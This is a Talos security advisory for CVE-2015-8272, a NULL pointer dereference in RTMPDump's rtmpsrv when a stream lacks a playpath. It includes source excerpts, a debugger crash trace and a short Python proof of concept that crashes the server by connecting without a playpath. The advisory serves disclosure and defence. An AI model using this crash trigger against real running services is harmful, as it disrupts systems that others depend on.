Talos Vulnerability Report

TALOS-2016-0068

RTMPDump rtmpsrv PlayPath Null Pointer Dereference

January 7, 2016
CVE Number

CVE-2015-8272

Description

A vulnerability exists in rtmpsrv in which an attacker can entice a user to utilize rtmpsrv to save an RTMP media stream that is missing a playpath. This leads to a NULL pointer dereference, crashing the program.

Tested Versions

RTMPDump 2.4
librtmp 1.0

Details

rtmpsrv is a stub for a server; it logs the connect and play parameters from a regular client that connects to it. It then invokes rtmpdump with those parameters to retrieve the stream. This is often used in conjunction with IPTables to intercept RTMP streams viewed online and dumping the stream to a local file for viewing at another time.

Vulnerability Details

Playpath is retrieved from stream and not validated
597       AMFProp_GetString(AMF_GetProp(&obj, NULL, 3), &r->Link.playpath);

If the playpath is null, the pointer to the playpath is dereferenced
when attempting to remove the leading slash, leading to a NULL pointer
dereference
692       /* strip leading slash components */
693       for (p=av.av_val+av.av_len-1; p>=av.av_val; p--)
694         if (*p == '/')
695           {
696         p++;
697         av.av_len -= p - av.av_val;
698         av.av_val = p;
699         break;
700           }

Crash Information

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff62f0700 (LWP 3961)]
0x0000000000403c47 in ServeInvoke (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90, offset=0) at rtmpsrv.c:694

>>> where
#0  0x0000000000403c47 in ServeInvoke (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90, offset=0) at rtmpsrv.c:694
#1  0x000000000040413b in ServePacket (server=0x607130, r=0x7ffff00008c0, packet=0x7ffff62efe90) at rtmpsrv.c:835
#2  0x00000000004043c7 in doServe (server=0x607130, sockfd=4) at rtmpsrv.c:917
#3  0x00000000004045b3 in serverThread (arg=0x607130) at rtmpsrv.c:974
#4  0x00007ffff7bc54a4 in start_thread (arg=0x7ffff62f0700) at pthread_create.c:334
#5  0x00007ffff6ddf13d in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

>>> p/x p
$1 = 0xffffffffffffffff

>>> p/s *r
$2 = {
[snip]
    tcUrl = {
          av_val = 0x7ffff00e4f8c "rtmp://127.0.0.1/blah", 
          av_len = 21
        }, 
[snip]
       app = {
          av_val = 0x7ffff00e4f7e "blah", 
          av_len = 4
        }, 
[snip]
    playpath = {
      av_val = 0x0, 
      av_len = 0
    }, 
[snip]
}

Disassembly
   0x0000000000403c3d <+4662>:  mov    QWORD PTR [rbp-0x20],rax
   0x0000000000403c41 <+4666>:  jmp    0x403c89 <ServeInvoke+4738>
   0x0000000000403c43 <+4668>:  mov    rax,QWORD PTR [rbp-0x20]
=> 0x0000000000403c47 <+4672>:  movzx  eax,BYTE PTR [rax]
   0x0000000000403c4a <+4675>:  cmp    al,0x2f

>>> p/x $rax
$3 = 0xffffffffffffffff 

Exploit Proof-of-Concept

Start rtmpsrv:

user@host $ ./rtmpsrv 
RTMP Server v2.4
(c) 2010 Andrej Stepanchuk, Howard Chu; license: GPL

Streaming on rtmp://0.0.0.0:1935

Request a stream with the following using python-librtmp
http://pythonhosted.org/python-librtmp/

#! /usr/bin/python
import librtmp

# a normal uri would look like:
# "RTMP://127.0.0.1/<app>/<playpath>"
c = librtmp.RTMP("rtmp://127.0.0.1/blah")

# the app path is not required, this works as well
c = librtmp.RTMP("rtmp://127.0.0.1")

c.connect()
stream = c.create_stream()
Credit

Dave McDaniel